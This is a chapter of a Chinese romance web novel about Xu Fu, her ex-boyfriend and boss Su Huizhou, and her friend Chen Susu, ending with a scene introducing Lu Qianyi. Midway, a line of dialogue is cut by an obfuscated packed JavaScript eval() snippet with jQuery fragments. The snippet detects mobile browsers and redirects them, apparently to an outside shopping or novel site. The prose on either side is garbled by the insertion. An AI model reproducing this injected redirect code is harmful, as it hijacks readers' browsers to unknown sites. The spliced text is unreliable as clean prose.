工作日的咖啡店迎来了一位奇怪的客人。
来人身段高挑,宽肩窄腰,全副武装,连正窝在门口晒太阳、猫眼半睁不闭的胖橘都不由得翻开眼皮,瞧了一眼。
丁零当啷——
只是直到风铃被撞得四零散开,也丝毫没有打扰到窗边热聊的两人。
苏回舟抬手压下帽檐,抬脚走到窗边相隔一桌的位置坐下。
菜单边缘和帽檐框出一条窄窄的视野——背对着他的女人扎着低马尾,耳边点缀着曜咖色猫眼耳坠,旁边的空椅背上搭着黑色毛呢大衣,而后是……极其扎眼的一大束黄玫瑰。
苏回舟眯了眯眼眸。
他看不见徐复的神色,只看得见黑色高领毛衣包裹着挺直的脊背,露出一截修长的脖颈,随着偶尔的垂头而稍稍弯折,胳膊撑在桌上,肩膀时不时抖动几下,似乎是与对面的人聊得开心。
陈素素正喋喋不休地讲着公司八卦,徐复饶有兴趣,微微向前探身。
“真的啊?”
“真的,前几天降本增效的纸就已经贴出来了。”陈素素伸出两根手指在空中晃了晃,以示强调,”就贴在茶水间,现在每个人——一个月只能免费领两包纸。”
“难得公司少给的那几包纸,能变成钱通通加进项目资金里吗?”
陈素素深受其苦,义愤填膺。
徐复松松攥起拳头,抵在嘴边,笑弯了眼睛。
陈素素突然低下头,捏起铁勺,毫无章法地搅拌着杯里的拿铁,看着自下而上蒸腾的热气,叹了口气。
“姐,我总觉得你给人当助理不是长久之计。”陈素素认真道,“你告诉我,你是不是还惦记着那个选题。”
徐复挑眉,点了点头。
陈素素肉眼可见地松了口气,眉尾上扬,嘴里不住地嘟囔着“那就好”。
“你带着我干吧。”
“你辞职了?”
徐复愣了一下,开口犹疑不定,“因为那两包纸?”
陈素素快速小声反驳:“当然不是。”
徐复笑:“因为我?”
“是,也不是。”
陈素素撇嘴,耸了耸肩,无所谓道:“在抄袭的组里待着干也没劲……主要是……嘿嘿,我哥回国了,我要去抱大腿。”
徐复眨了眨眼,不明所以道:“你哥?”
“对啊,我哥,海归大霸总,随便从指缝里露出点来,都够我后半辈子衣食无忧了。我都想好了——到时候我们先拿个几十万一百万,设备通通都买上……”
陈素素一把握住徐复的手,目光诚挚:“求你了姐,你带着我吧,我真觉得心理情绪的选题特别有意义。你也辞职,到时候我们一展宏图伟志……”
吱——
没有任何反应的时间,徐复身边的椅子被人拉开,一道高大的影子被头顶的暖黄灯光拓在桌上。
来人掀开帽子,眼神不经意瞥过两人交握的双手。
“Suuuuuu……”陈素素目瞪口呆,被震惊得直起身缓缓往后仰,手自然就撒了开来。
苏回舟自然地将碍眼的花束抱走,坐到徐复旁边的椅子上。
在陈素素磕磕绊绊的颤音中,他极轻快地点了下头。
苏回舟伸出手指将口罩拨弄开,固定到下巴处,而后偏过头,看着身旁明显还处在状况外的徐复。
徐复正震惊着:裹得这么严实,怎么认出来的?
“这位是素素,我的朋友。”很快,徐复缓过神来。
听到自己的名字,陈素素欢快地挥了挥手。
苏回舟顺着徐复手指的方向看去,微微颔首,双手扣住交叉放在大腿上,整暇以待。
“这位是……”
“我的老板。”
徐复垂眸,抿掉一口冷掉的咖啡。
苏回舟的双手骤然捏紧,骨节泛白。
陈素素的目光在两人之间来回穿梭,带着明显的探究。
苏回舟双臂撑在把手上,很快地埋下头,用舌尖顶了顶腮帮子,而后掀起眼皮,同样的,不动声色打量起眼前的陈素素,目光划过她的一排耳钉。
比他年轻,但没他当年清纯。
“我知道你,Su!”陈素素热络寒暄,“当年在国外留学,我听说过你。”
陈素素掏出手机,劈里啪啦打字:“我现在就跟室友们说,真人比杂志更带劲!”
徐复勾起唇角:“这么夸张?”
陈素素头也不抬:“当然了,当时留子群里全在扒一扒那位法学院出身的华人模特,后来只听说Su辍学后签了公司,可惜没来得及在学校见一见……”
陈素素抽空扬了个笑脸:“幸会。”
辍学?
徐复拧了拧眉毛,飞快地瞥了眼苏回舟,瞬间捏紧杯柄。
苏回舟的手不自在地摸上脖子:“幸会。”
“我刚刚不小心听到二位对话,很愿意为你们的项目投资,不过我的经纪人再三表示,更希望能留住像徐小姐这样的人才。”
怎么阴阳怪气的,徐复悄悄用手肘捣了捣苏回舟的胳膊——你瞎凑什么热闹。
桌上一时间弥漫出不寻常的氛围,只有店里的爵士乐在轻快流淌。
有情况。
两人熟稔的动作被陈素素尽收眼底,陈素素当机立断,接了个闹钟抬脚就要走。
“喂?啊,哥你回来了,好,我现在去机场接你。”
“失陪了两位。”
苏回舟扣上帽子,等徐复将人送走,去而复返,才起身顺手搂起地上的花。
“回家。”
-
两人一路无话。
一直到家门口,苏回舟停下,弯腰开锁。
那捧娇艳欲滴的黄玫瑰靠在他的侧脸,浓眉大眼,凌厉线条,衬得人比花艳。
徐复回手带上门,静静靠在门框,合上眼,揉着疲惫的眉心。
“徐小姐抱负远大,怎么从没和我提起过,在我这里当助理岂不是屈才了。”
苏回舟漫不经心开口,他将花一支一支拿出来,放进柜子上的花瓶里仔细摆弄,神色认真。
徐复睁开眼,吐了口气,勉强整理出笑容,转了转脖子,边说边解开大衣。
“素素开玩笑的,你别放在心上。”
“徐小姐瞧不上我的投资。”
徐复动作一滞,面无表情:“苏回舟,好好说话。”
“你生气了?”
苏回舟错手狠狠捏掉一片花瓣。
徐复将大衣挂在门口,径直掠过苏回舟往卧室走。
“没有,苏老板早些休息。”
苏回舟一把握住徐复的手腕。
“我是说,我辍学,我没拿到学位,你生气了?”
时间仿佛凝结了一个世纪。
苏回舟死死盯着徐复单薄的背影。
半晌,徐复回过身,拍了拍覆在自己手腕上的那只手。
“半工半读,很辛苦吧。”
苏回舟张了张嘴,他的思绪回环反复,在舌尖饶了一圈,过山车一般跌宕起伏,最后说出的话反而变得少。
“嗯。”苏回舟说。
难耐的涩意钻进他的脑壳,苏回舟又不甘心了。
“为什么不愿意接受我的投资?你知道的,我不是开玩笑。”
“因为我现在什么都没有,我没办法保证……”
“你还在生气对不对?”苏回舟瞳孔微颤,端起的体面彻底破碎,“气我辍学,气我当年一走了之?”
徐复飞速反驳:“我没有。”
苏回舟一步步逼近。
“那你为什么不要我的投资,想要谁的?”
“觉得我肤浅没文化,比不上人家留学回来的老总?”
“我没有……”
“你就是这样想的,是不是?”
直到小腿抵到柔软的沙发边,退无可退,徐复干脆顺势坐下,反握住苏回舟的手腕,将人扯到身边。
“好,我们现在说清楚。”
“当年……”徐复气息颤抖。
苏回舟摒住呼吸。
“是,我们约定好一起出国,可是临近毕业我突然不想了,我想要留在平城。”
“敷衍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165688|196706||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我。”听着和当年别无二致的说辞,苏回舟轻嗤。
而后他的声音突然放得很轻:“我知道,我说过,我可以和你一起留在平城。”
“不行,不可以。”徐复声音喑哑。
“苏回舟,你我心知肚明,我们两个人攒的钱只够一个人的留学费用。我孤身寡人又不要紧,平城也很好,可是只要你有了这份履历,回国后完全可以凭借自己的能力敲开红圈所的门,你爸爸留下的债务,你妈妈的病……所有问题都能迎刃而解。”
“而且……而且当年明明是你提的分手啊。”
徐复的脸上难得露出茫然的神色。
闷声不吭主动断联的也是苏回舟。
苏回舟佯装听不见最后一句话,咬牙道:“你什么都替我想好了,可你唯独没有想过,我……”
“我不要你施舍来的机会。”
他们是一起长大的情分,所以徐复不该那样对他。
苏回舟心里的念头止不住翻滚。
不该什么都不说,不该想要瞒着他,独自抗下一切。
徐复闻言突然低低地笑了,幽幽开口:“你敢说你现在不是在施舍我吗?”
“我不傻苏回舟,你能给我一份工作我很感激,可能是报应吧,我现在也心比天高自尊比海大,终于这种滋味不好受,所以我不想再心安理接受前男友的可怜。我不要你投资,是因为至少到现在,这个项目并没有完善到值得你投资的地步。”
徐复深深叹了口气,肩膀跟着耸动,她起身往门口走,疲惫铺天盖地。
“我们不要再吵了,没有意义。对不起,当年是我自以为是,没顾及你的感受。”
徐复一再道歉,苏回舟应该感到畅快,可心里却像被千万只蚂蚁啃噬过一般,在他的脑袋闷声敲了一拳。
徐复随手套上大衣,手掌按在门把手上,整个人隐匿在黑暗中。
“我抽屉里有一个钱包,最里面的夹层,放着当年那张银行卡,”徐复心中低声道,“不知道你这些年怎么熬过来的……里面的钱我一分没动,你拿回去吧。”
“徐复,”苏回舟艰难开口,“其实你收到了艺术学院的offer不是吗?如果我当年能赶在你拒绝之前早点发现,我们之间会不会……”苏回舟喉咙哽塞,没说下去。
“不会。因为我只会做出同样的选择。”徐复声音恳挚,“抱歉,是我的错。”
“当然是你的错。”苏回舟紧紧攥住掌心。
徐复:“我们都冷静冷静吧。”
门开了又关,砸在空落落的客厅,霎时间只剩下苏回舟的喃喃自语——
“……我没想跟你吵。”
-
“陈素素小姐,不是什么项目我都会投资的。”
陆谦弈右手举着电话,左手捏住领带结松了松,缓步走到吧台边的高脚凳坐下。阔直西装裤包裹的长腿随意交叠,鞋跟敲在地面露出红底。
他刚结束一场公司会议,被一群富二代老友叫来清吧,美其名曰叙旧,结果人手一个小明星,开口就要往他公司里塞人。
陆谦弈对付起来游刃有余,全程笑眯眯不着声色挡回去,刚想找个借口逃走,陈素素一个电话打来正好顺了他的意。
陆谦弈接过菜单,指着其中一款占比80%旺仔牛奶的百利甜,勾唇向服务员示意。
“至少要拿一个出策划案。”陆谦弈随手拿过旁边的空杯子把玩起来。
“当然有,我现在跟我姐打电话,让她跟你说。她绝对是我见过这个世界上最靠谱的人!”
对方急吼吼挂断电话,陆谦弈早已习惯,慢条斯理将手机扣在桌面上。
手里杯子哪儿来的?
陆谦弈动作一顿,这才看到左手边趴着一名背对着他的女人,他温声道歉,将杯子往回推,不过很显然对方已经醉得没了意识。
吧台顶光落在玻璃杯上漫反应折射,光怪陆离落在女人柔软的发丝上,陆谦弈动作停顿的那一刻,桌上的手机响了。
陆谦弈本无意窥探他人隐私,只是屏幕上的联系人头像实在眼熟——赫然是他妹在傻乐。